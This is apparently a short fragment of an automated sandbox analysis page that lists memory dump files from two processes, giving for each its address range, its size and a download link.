memory/4292-58-0x00007FFF245B0000-0x00007FFF24F9C000-memory.dmp

Filesize
9.9MB

Download
memory/4292-60-0x00000231253B0000-0x00000231253C0000-memory.dmp

Filesize
64KB

Download
memory/4452-7-0x000001DABC7C0000-0x000001DABC7E2000-memory.dmp

Filesize
136KB

Download
memory/4452-26-0x000001DABC680000-0x000001DABC690000-memory.dmp

Filesize
64KB

Download
memory/4452-10-0x000001DABC680000-0x000001DABC690000-memory.dmp

Filesize
64KB

Download
memory/4452-51-0x00007FFF245B0000-0x00007FFF24F9C000-memory.dmp

Filesize
9.9MB

Download
memory/4452-9-0x000001DABC680000-0x000001DABC690000-memory.dmp

Filesize
64KB

Download
memory/4452-47-0x000001DABC680000-0x000001DABC690000-memory.dmp

Filesize
64KB

Download
memory/4452-8-0x00007FFF245B0000-0x00007FFF24F9C000-memory.dmp

Filesize
9.9MB

Download
memory/4452-13-0x000001DABC970000-0x000001DABC9E6000-memory.dmp

Filesize
472KB

Download